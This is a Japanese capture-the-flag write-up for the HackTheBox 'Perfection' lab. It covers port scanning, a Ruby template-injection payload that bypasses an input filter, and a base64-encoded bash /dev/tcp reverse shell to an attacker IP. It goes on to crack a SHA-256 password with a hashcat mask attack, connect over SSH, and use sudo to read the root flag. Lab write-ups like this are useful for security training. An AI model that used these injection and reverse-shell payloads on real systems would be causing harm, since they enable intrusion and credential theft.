概要
HackTheBox「Perfection」マシンのWriteupです。
User Flag
$ nmap -Pn -sV -T4 -A -sC 10.10.11.253
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-17 22:07 EDT
Warning: 10.10.11.253 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.11.253
Host is up (0.26s latency).
Not shown: 976 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 80:e4:79:e8:59:28:df:95:2d:ad:57:4a:46:04:ea:70 (ECDSA)
|_ 256 e9:ea:0c:1d:86:13:ed:95:a9:d0:0b:c8:22:e4:cf:e9 (ED25519)
80/tcp open http nginx
|_http-title: Weighted Grade Calculator
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 8.9p1 |
80 | http | nginx |
ホームページにアクセスできました。
/weighted-grade
ページには入力フォームがあります。
フッターからWEBrick 1.7.0
を使用していると分かります。
GitHubのページが見つかり、言語はRubyだと分かりました。
ディレクトリの列挙を行いましたが、攻撃に使えそうなパスは見つかりませんでした。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.11.253/FUZZ
about [Status: 200, Size: 3827, Words: 484, Lines: 104, Duration: 283ms]
\ [Status: 200, Size: 3842, Words: 473, Lines: 102, Duration: 290ms]
WEBrick 1.7.0
での脆弱性情報は見つけられませんでした。
Webサイトのフォームの挙動を確認します。
正常にリクエストが処理されるとCategory
パラメータの値などが表示されると分かりました。
なのでXSSやSSTIの攻撃が出来そうです。
しかし、レスポンスヘッダを見るとX-Xss-Protection: 1; mode=block
があるのでXSSは難しそうです。
SSTIの攻撃を試みます。
HackTricksなどでRubyのSSTIペイロードを見つけました。
パラメータの値に改行コードを付け加えることでSSTIを成功させることが出来ました。
category1=a%0A<%25%3D7*7;%25>
下記のようなペイロードにすることで/home/susan/user.txt
ファイルからフラグを入手できました。
a%0A<%25%3D`cat+/home/susan/user.txt`%25>
Root Flag
Rubyではsystem()
関数を利用してOSコマンドを実行できます。
リバースシェルを実行します。
Netcatでリッスンします。
$ nc -lnvp 1234
Bash TCPのペイロードを使用します。
bash -i >& /dev/tcp/<ip>/<port> 0>&1
ペイロードをbase64でエンコードします。
$ echo -n "bash -i >& /dev/tcp/10.10.14.11/1234 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMS8xMjM0IDA+JjE=
エンコードされた文字列をURLエンコードします。
$ hURL -U "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMS8xMjM0IDA+JjE="
Original :: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMS8xMjM0IDA+JjE=
URL ENcoded :: YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4xMS8xMjM0IDA%2BJjE%3D
最終的なペイロードは下記のようになりました。
a%0A<%25%3Dsystem("echo+YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4xMS8xMjM0IDA%2BJjE%3D|base64+-d|bash");%25>
これでリクエストを送信するとsusan
のシェルを獲得できました。
$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.253] 55502
bash: cannot set terminal process group (1010): Inappropriate ioctl for device
bash: no job control in this shell
susan@perfection:~/ruby_app$ whoami
whoami
susan
sudo -l
は実行できませんでした。
$ sudo -l
sudo -l
sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper
sudo: a password is required
/home/susan/Migration
にDBデータを発見しました。
$ ls -l Migration/
ls -l Migration/
total 8
-rw-r--r-- 1 root root 8192 May 14 2023 pupilpath_credentials.db
ローカルにダウンロードして見ると、ユーザーのクレデンシャル情報を確認できましたが、パスワードはハッシュ化されているようです。
Webサイトを見るとsusan
がシステム管理者であるという文言を発見しました。
なので、DBデータのSusan Miller
のハッシュ値を解読していきます。
linpeas
を実行すると/var/mail/susan
という興味深いファイルを見つけました。
╔══════════╣ Mails (limit 50)
39937 4 -rw-r----- 1 root susan 625 May 14 2023 /var/mail/susan
39937 4 -rw-r----- 1 root susan 625 May 14 2023 /var/spool/mail/susan
テキストの内容は「パスワードの形式を{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}
に変更した」ということが書かれています。
つまり元のパスワードの文字列はsusan_nasus_<1~1,000,000,000>
まで分かりました。
Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students
in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:
{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}
Note that all letters of the first name should be convered into lowercase.
Please hit me with updates on the migration when you can. I am currently registering our university with the platform.
- Tina, your delightful student
Hash Analyzer
で調べるとハッシュアルゴリズムはSHA2-256
だと予測できました。
これまでの情報を基にハッシュ値をHashcatで解析します。
パスワードのランダムな数字は1~1~1,000,000,000
だと分かっているのでHashcatのマスク攻撃として-a 3 susan_nasus_?d?d?d?d?d?d?d?d?d
と指定できます。
$ hashcat -m 1400 hash.txt -a 3 susan_nasus_?d?d?d?d?d?d?d?d?d
パスワードを特定できました。
abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f:susan_nasus_413759210
このパスワードを使用してSSH接続を行います。
$ ssh susan@10.10.11.253
susan@perfection:~$
sudo -l
で確認すると全てのコマンドをパスワードなしの管理者権限で実行できると分かりました。
$ sudo -l
[sudo] password for susan:
Matching Defaults entries for susan on perfection:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User susan may run the following commands on perfection:
(ALL : ALL) ALL
最後に/root/root.txt
からフラグを入手します。
$ sudo cat /root/root.txt
7bb006019d51b6480b4fa5fa1534ae38